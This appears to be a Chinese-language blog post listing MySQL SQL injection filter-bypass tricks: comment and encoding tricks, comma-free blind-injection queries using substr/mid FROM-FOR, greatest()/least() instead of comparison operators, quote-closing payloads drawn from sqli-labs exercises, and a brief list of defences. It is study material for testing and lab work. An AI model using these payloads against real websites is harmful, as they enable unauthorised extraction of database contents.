SQL注入绕过

基本思路:

1、注释符

2、函数替换

3、编码(hex等)

 

 

过滤了空格 

  • /**/   注释符
  • /!**/  内联注释绕过 

                当mysql>5.55.55时,只要语句在/*!*/之间,就等价于

                    /*!union*/=union

                    /*!select*/=select

                    /*!select * from xxx where id =1*/=select * from xxx where id =1

  • %a0(空格) 括号()   特殊字符绕过

区分大小写过滤关键词

  • 大小写关键字绕过

不区分大小写过滤关键词

  • 双写绕过oorr
  • 使用burp爆破关键词,查看是否有遗漏
  • 使用等价函数

           如substr()被过滤可以使用left(),sleeo()被过滤可使用benchmark()

过滤了引号

  • 16进制编码绕过(不包括中文)  select * from users where username=0x61646d696e
  • ASCII编码绕过          admin可以拆分成concat(char(97),char(100),char(109),char(105),char(110))
  • url编码绕过           这个有条件,前提时后端过滤以后进行url解码,这时候可以对"这些符号或者字符进行两次url编码

过滤了逗号

在使用盲注的时候,会使用到 substr 、substring() 、mid() 、limit 等函数。这些函数都需要用到逗号。如果只是过滤了逗号,则对于substr、substring() 和 mid() 这两个函数可以使用from  for的方式来绕过。对于limit ,可以用 offset 绕过。substr、substring、mid三个函数的功能用法均一致。

复制代码
// substr() 逗号绕过
select * from test where id=1 and (select ascii(substr(username,2,1)) from admin limit 1)>97;
select * from test where id=1 and (select ascii(substr(username from 2 for 1))from admin limit 1)>97;

// substring() 逗号绕过
select * from test where id=1 and (select ascii(substring(username,2,1)) from admin limit 1)>97;
select * from test where id=1 and (select ascii(substring(username from 2 for 1))from admin limit 1)>97;

// mid() 逗号绕过
select * from test where id=1 and (select ascii(mid(username,2,1)) from admin limit 1)>97;
select * from test where id=1 and (select ascii(mid(username from 2 for 1))from admin limit 1)>97;

// limit 逗号绕过
select * from test where id=1 limit 1,2; 
select * from test where id=1 limit 2 offset 1;
复制代码

过滤了比较符

在使用盲注的时候,会用到二分法来比较操作符来进行操作。如果过滤了比较操作符,那么就需要使用到 greatest()和lease()来进行绕过。greatest()返回最大值,least()返回最小值。

greatest(n1,n2,n3.....)返回输入参数的最大值;

least(n1,n2,n3....)返回输入参数的最小值

select * from users where id=1 and ascii(substring(database(),0,1))>64;
select * from users where id=1 and greatest(ascii(substring(database(),0,1)),64)>64;

select * from users where id=1 and ascii(substring(database(),0,1))<64;
select * from users where id=1 and least(ascii(substring(database(),0,1)),64)<64;

过滤了 or and xor not

and用 && 代替 ;or用 || 代替 ; xor用 | 代替 ; not用 ! 代替 ;

select * from users where id=1 and 1=2;
select * from users where id=1 && 1=2select * from users where id=1 or 1=2;
select * from users where id=1 || 1=2;

绕过了注释符#  -- -

  • 通过闭合后面的引号进行绕过
    • id=1' union select 1,2,3||'1
      • union select  1,database(),3||'1
    • id=1' union select 1,2,'3
    • id=1' where '1'='1
      • id=1' where '1
    • id=1' and '1'='1
      • Less-2?id=1' and 1=1 -- -
      • Less-2?id=1' and '1'='1
    • id=1' or '1'='1
    • id=1' order by 1;%00
      • 分号结尾 %00截断
  • %23   #
  • ||'        仅限后面是单引号闭合的情况

过滤了=

  • like:就是等于的意思
  • rlike:就是里面含有这个
  • regexp:和rlike一样,里面含有即可

 

SQL注入的防御

  1. 使用预编译语句,绑定变量
  2. 使用存储过程
  3. 检查数据类型
  4. 使用安全函数

 

posted @   地主老财  阅读(407)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· C#/.NET/.NET Core优秀项目和框架2025年2月简报
· Manus爆火,是硬核还是营销?
· 一文读懂知识蒸馏
· 终于写完轮子一部分:tcp代理 了,记录一下
点击右上角即可分享
微信分享提示